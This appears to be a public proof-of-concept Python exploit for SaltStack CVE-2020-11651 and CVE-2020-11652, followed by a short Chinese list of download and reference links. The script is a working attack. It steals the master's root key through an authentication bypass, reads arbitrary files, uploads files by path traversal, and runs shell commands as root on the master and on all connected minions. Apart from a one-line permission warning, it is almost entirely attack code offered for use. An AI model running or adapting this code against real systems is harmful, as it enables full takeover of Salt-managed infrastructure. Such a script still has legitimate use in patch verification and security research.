# Exploit for CVE-2020-11651 and CVE-2020-11652
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports

from __future__ import absolute_import, print_function, unicode_literals
import argparse
import datetime
import os
import os.path
import sys
import time

import salt
import salt.version
import salt.transport.client
import salt.exceptions

def init_minion(master_ip, master_port):
    minion_config = {
        'transport': 'zeromq',
        'pki_dir': '/tmp',
        'id': 'root',
        'log_level': 'debug',
        'master_ip': master_ip,
        'master_port': master_port,
        'auth_timeout': 5,
        'auth_tries': 1,
        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
    }

    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')

# --- check funcs ----

def check_connection(master_ip, master_port, channel):
  print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
  sys.stdout.flush()

  # connection check
  try:
    channel.send({'cmd':'ping'}, timeout=2)
  except salt.exceptions.SaltReqTimeoutError:
    print("OFFLINE")
    sys.exit(1)
  else:
    print("ONLINE")

def check_CVE_2020_11651(channel):
  print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')
  sys.stdout.flush()

  try:
    rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
  except:
    print('ERROR')
    return None
  else:
    pass
  finally:
    if rets:
      print('YES')
      root_key = rets[2]['root']
      return root_key

  print('NO')
  return None

def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):
  print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'cmd': 'get_token',
    'arg': [],
    'token': top_secret_file_path,
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("YES")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    print("NO")

def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.read',
    'path': top_secret_file_path,
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    if rets['data']['return']:
      print("YES")
    else:
      print("NO")

def check_CVE_2020_11652_write1(debug, channel, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.write',
    'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'data': 'evil',
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)

    pp(rets)
    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove('/tmp/salt_CVE_2020_11652')
      except OSError:
        print("Maybe?")
      else:
        print("YES")
    else:
      print("NO")

def check_CVE_2020_11652_write2(debug, channel, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'config.update_config',
    'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'yaml_contents': 'evil',
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove('/tmp/salt_CVE_2020_11652.conf')
      except OSError:
        print("Maybe?")
      else:
        print("YES")
    else:
      print("NO")

def pwn_read_file(channel, root_key, path, master_ip):
    print("[+] Attemping to read {} from {}".format(path, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.read',
        'path': path,
        'saltenv': 'base',
    }

    rets = channel.send(msg, timeout=3)
    print(rets['data']['return'][0][path])

def pwn_upload_file(channel, root_key, src, dest, master_ip):
    print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))
    sys.stdout.flush()

    try:
        fh = open(src, 'rb')
        payload = fh.read()
        fh.close()
    except Exception as e:
        print('[-] Failed to read {}: {}'.format(src, e))
        return

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.write',
        'saltenv': 'base',
        'data': payload,
        'path': dest,
    }

    rets = channel.send(msg, timeout=3)
    print('[ ] {}'.format(rets['data']['return']))

def pwn_exec(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'runner',
        'fun': 'salt.cmd',
        'saltenv': 'base',
        'user': 'sudo_user',
        'kwarg': {
            'fun': 'cmd.exec_code',
            'lang': 'python',
            'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
        },
        'jid': jid,
    }

    try:
        rets = channel.send(msg, timeout=3)
    except Exception as e:
        print('[-] Failed to submit job')
        return

    if rets.get('jid'):
        print('[+] Successfully scheduled job: {}'.format(rets['jid']))

def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': '_send_pub',
        'fun': 'cmd.run',
        'user': 'root',
        'arg': [ "/bin/sh -c '{}'".format(cmd) ],
        'tgt': '*',
        'tgt_type': 'glob',
        'ret': '',
        'jid': jid
    }

    try:
        rets = channel.send(msg, timeout=3)
    except Exception as e:
        print('[-] Failed to submit job')
        return
    finally:
        if rets == None:
            print('[+] Successfully submitted job to all minions.')
        else:
            print('[-] Failed to submit job')


def main():
    parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
    parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
    parser.add_argument('--port', '-p', dest='master_port', default='4506')
    parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')
    parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
    parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')
    parser.add_argument('--read', '-r', dest='read_file')
    parser.add_argument('--upload-src', dest='upload_src')
    parser.add_argument('--upload-dest', dest='upload_dest')
    parser.add_argument('--exec', dest='exec', help='Run a command on the master')
    parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')
    args = parser.parse_args()

    print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")
    time.sleep(1)

    # Both src and destination are required for uploads
    if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):
        print('[-] Must provide both --upload-src and --upload-dest')
        sys.exit(1)

    channel = init_minion(args.master_ip, args.master_port)

    check_connection(args.master_ip, args.master_port, channel)

    root_key = check_CVE_2020_11651(channel)
    if root_key:
        print('[*] root key obtained: {}'.format(root_key))
    else:
        print('[-] Failed to find root key...aborting')
        sys.exit(127)

    if args.run_checks:
        # Assuming this check runs on the master itself, create a file with "secret" content
        # and abuse CVE-2020-11652 to read it.
        top_secret_file_path = '/tmp/salt_cve_teta'
        with salt.utils.fopen(top_secret_file_path, 'w') as fd:
            fd.write("top secret")

        # Again, this assumes we're running this check on the master itself
        with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
            root_key = keyfd.read()

        check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)
        check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)
        check_CVE_2020_11652_write1(debug, channel, root_key)
        check_CVE_2020_11652_write2(debug, channel, root_key)
        os.remove(top_secret_file_path)
        sys.exit(0)

    if args.read_file:
        pwn_read_file(channel, root_key, args.read_file, args.master_ip)

    if args.upload_src:
        if os.path.isabs(args.upload_dest):
            print('[-] Destination path must be relative; aborting')
            sys.exit(1)
        pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)


    jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())

    if args.exec:
        pwn_exec(channel, root_key, args.exec, args.master_ip, jid)

    if args.exec_all:
        print("[!] Lester, is this what you want? Hit ^C to abort.")
        time.sleep(2)
        pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)


if __name__ == '__main__':
    main()

参考文章

下载地址:

下载地址:

https://github.com/jasperla/CVE-2020-11651-poc
https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP/blob/master/CVE-2020-11651.py
下载地址
下载地址
https://www.cdxy.me/?p=822
https://github.com/vulhub/vulhub.git